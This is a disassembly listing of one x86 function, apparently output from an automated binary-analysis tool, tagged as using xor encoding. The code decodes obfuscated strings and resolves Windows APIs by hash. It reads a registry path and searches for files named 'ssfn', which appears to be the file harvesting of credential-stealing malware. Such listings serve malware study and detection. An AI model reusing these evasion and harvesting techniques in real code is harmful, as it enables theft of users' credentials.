Function at 0x413e35
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x74c
push ebx
push ebp
push esi
push edi
push 0x54
pop edx
xor ebx, ebx
mov dword [esp + 0x24], 0xb8b8b991
mov dword [esp + 0x28], 0xbcb16aab
mov ecx, ebx
mov dword [esp + 0x2c], 0xbd6aacab
mov dword [esp + 0x30], 0xb7abafbe
mov byte [esp + 0x34], dl
mov al, byte [esp + ecx + 0x24]
sub al, 0x4a
mov byte [esp + ecx + 0x80], al
inc ecx
cmp ecx, 0x11
jl 0x413e6a
push 8
pop ecx
mov byte [esp + 0x2c], cl
mov edi, 0xff
mov byte [esp + 0x32], cl
mov ecx, ebx
mov byte [esp + 0x91], bl
mov dword [esp + 0x24], 0x20121bff
mov dword [esp + 0x28], 0x111e0d23
mov dword [esp + 0x2d], 0x22180d02
mov byte [esp + 0x31], 0x11
mov dword [esp + 0x33], 0xd1120ff
mov byte [esp + 0x37], 0x19
movzx eax, byte [esp + ecx + 0x24]
add ax, dx
and ax, di
mov word [esp + ecx*2 + 0xdc], ax
inc ecx
cmp ecx, 0x14
jl 0x413ec0
xor eax, eax
mov dword [esp + 0x38], 0xc5c1d0f7
mov word [esp + 0x104], ax
mov ecx, ebx
mov dword [esp + 0x3c], 0xd0c5f4c9
mov byte [esp + 0x40], 0xcc
mov al, byte [esp + ecx + 0x38]
xor al, 0xa4
movzx eax, al
mov word [esp + ecx*2 + 0x94], ax
inc ecx
cmp ecx, 9
jl 0x413efa
xor eax, eax
mov word [esp + 0xa6], ax
lea eax, [esp + 0x80]
push eax
call fcn.004125f4
lea eax, [esp + 0x35c]
mov dword [esp], 0x400
push eax
lea eax, [esp + 0x9c]
mov ecx, 0x80000001
push eax
lea edx, [esp + 0xe8]
call fcn.0041b68c
add esp, 0xc
test al, al
je 0x414339
lea eax, [esp + 0x358]
xor ecx, ecx
push eax
mov edx, 0xeeb55893
inc ecx
call fcn.00412ca7
call eax
cmp eax, 0xffffffff
je 0x414339
test al, 0x10
je 0x414339
push 8
pop eax
mov byte [esp + 0x48], 0x27
mov ecx, ebx
mov byte [esp + 0x49], al
mov dword [esp + 0x4a], 0x1241050f
mov dword [esp + 0x4e], 0xc000415
mov dword [esp + 0x52], 0x15000541
mov dword [esp + 0x56], 0x11414d00
mov dword [esp + 0x5a], 0x41091500
mov dword [esp + 0x5e], 0x6b120d44
mov al, byte [esp + ecx + 0x48]
xor al, 0x61
mov byte [esp + ecx + 0xc0], al
inc ecx
cmp ecx, 0x1a
jl 0x413fc1
mov byte [esp + 0xda], bl
mov ecx, ebx
mov dword [esp + 0x1c], 0x3f100f46
mov byte [esp + 0x20], 0x49
mov al, byte [esp + ecx + 0x1c]
xor al, 0x63
movzx eax, al
mov word [esp + ecx*2 + 0x74], ax
inc ecx
cmp ecx, 5
jl 0x413fea
xor eax, eax
mov dword [esp + 0x10], 0x2c433cf5
push 0x37
mov word [esp + 0x82], ax
mov ecx, ebx
pop eax
push 0x30
mov dword [esp + 0x18], 0x363e3f33
mov byte [esp + 0x1c], 0x39
mov byte [esp + 0x1d], al
pop edx
movzx eax, byte [esp + ecx + 0x10]
add ax, dx
and ax, di
mov word [esp + ecx*2 + 0xa8], ax
inc ecx
cmp ecx, 0xa
jl 0x414029
xor eax, eax
mov word [esp + 0xbc], ax
lea eax, [esp + 0x358]
push eax
lea eax, [esp + 0xc4]
push eax
call fcn.004125f4
lea eax, [esp + 0x360]
push eax
lea eax, [esp + 0x80]
push eax
call fcn.0041b73a
mov ebp, eax
add esp, 0x10
mov dword [esp + 0x1c], ebp
test ebp, ebp
je 0x414285
lea eax, [esp + 0x108]
xor ecx, ecx
push eax
push ebp
mov edx, 0x54e1cc7b
inc ecx
call fcn.00412ca7
call eax
xor ecx, ecx
mov esi, eax
mov edx, 0x17299c7b
mov dword [esp + 0x68], esi
inc ecx
call fcn.00412ca7
cmp esi, 0xffffffff
je 0x41427e
mov word [esp + 0x44], 0xd0d
mov ebp, eax
push 0x2e
pop eax
mov word [esp + 0x64], ax
mov ecx, ebx
xor eax, eax
mov word [esp + 0x66], ax
movzx eax, byte [esp + ecx + 0x44]
add ax, 0x21
and ax, di
mov word [esp + ecx*2 + 0x6c], ax
inc ecx
cmp ecx, 2
jl 0x4140d5
xor eax, eax
mov word [esp + 0x70], ax
lea eax, [esp + 0x64]
push eax
lea eax, [esp + 0x138]
push eax
call fcn.00405af6
pop ecx
pop ecx
test eax, eax
je 0x414257
lea eax, [esp + 0x6c]
push eax
lea eax, [esp + 0x138]
push eax
call fcn.00405af6
pop ecx
pop ecx
test eax, eax
je 0x414257
test byte [esp + 0x108], 0xa7
je 0x414257
lea eax, [esp + 0x134]
push eax
call fcn.0040581e
pop ecx
cmp eax, 4
jb 0x414257
push 0x73
pop eax
cmp word [esp + 0x134], ax
jne 0x414257
cmp word [esp + 0x136], ax
jne 0x414257
cmp word [esp + 0x138], 0x66
jne 0x414257
cmp word [esp + 0x13a], 0x6e
jne 0x414257
mov dword [esp + 0x38], 0xebc4db92
mov ecx, ebx
mov word [esp + 0x3c], 0xdb92
mov byte [esp + 0x3e], 0xc4
mov al, byte [esp + ecx + 0x38]
xor al, 0xb7
movzx eax, al
mov word [esp + ecx*2 + 0x24], ax
inc ecx
cmp ecx, 7
jl 0x4141a3
xor eax, eax
mov word [esp + 0x32], ax
lea eax, [esp + 0x134]
push eax
lea eax, [esp + 0x35c]
push eax
lea eax, [esp + 0x2c]
push eax
call fcn.0041b73a
mov edi, eax
add esp, 0xc
test edi, edi
je 0x414252
push 8
mov dword [esp + 0x14], 0x595d6c4b
mov ecx, ebx
mov dword [esp + 0x18], 0x641d2765
mov edx, 0xff
mov byte [esp + 0x1c], 0x6b
pop esi
movzx eax, byte [esp + ecx + 0x10]
add ax, si
and ax, dx
mov word [esp + ecx*2 + 0x48], ax
inc ecx
cmp ecx, 9
jl 0x414200
xor eax, eax
mov word [esp + 0x5a], ax
lea eax, [esp + 0x134]
push eax
lea eax, [esp + 0x4c]
push eax
call fcn.0041b73a
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x414247
mov edx, esi
mov ecx, edi
call fcn.0041892c
push esi
call fcn.004056f0
pop ecx
push edi
call fcn.004056f0
mov esi, dword [esp + 0x6c]
pop ecx
mov edi, 0xff
lea eax, [esp + 0x108]
push eax
push esi
call ebp
test eax, eax
jne 0x4140c4
xor ecx, ecx
mov edx, 0x83fbc401
push esi
inc ecx
call fcn.00412ca7
call eax
mov ebp, dword [esp + 0x1c]
push ebp
call fcn.004056f0
pop ecx
lea eax, [esp + 0x358]
push eax
lea eax, [esp + 0xac]
push eax
call fcn.0041b73a
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x414339
push 0x2e
pop eax
push 0x37
pop edx
mov word [esp + 0x10], 0x3d1c
mov ecx, ebx
mov byte [esp + 0x12], al
mov dword [esp + 0x13], 0x2cf8362a
mov byte [esp + 0x17], 0x38
mov byte [esp + 0x18], dl
mov word [esp + 0x19], 0x322f
mov byte [esp + 0x1b], 0x30
movzx eax, byte [esp + ecx + 0x10]
add ax, dx
and ax, di
mov word [esp + ecx*2 + 0x48], ax
inc ecx
cmp ecx, 0xc
jl 0x4142d6
xor eax, eax
mov dword [esp + 0x1c], 0xfb0dc5c1
mov word [esp + 0x60], ax
mov byte [esp + 0x20], 0xfd
movzx eax, byte [esp + ebx + 0x1c]
add ax, 0x69
and ax, di
mov word [esp + ebx*2 + 0x10], ax
inc ebx
cmp ebx, 5
jl 0x414300
xor eax, eax
lea edx, [esp + 0x48]
mov word [esp + 0x1a], ax
mov ecx, esi
lea eax, [esp + 0x10]
push 1
push eax
call fcn.004184f7
push esi
call fcn.004056f0
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x74c
ret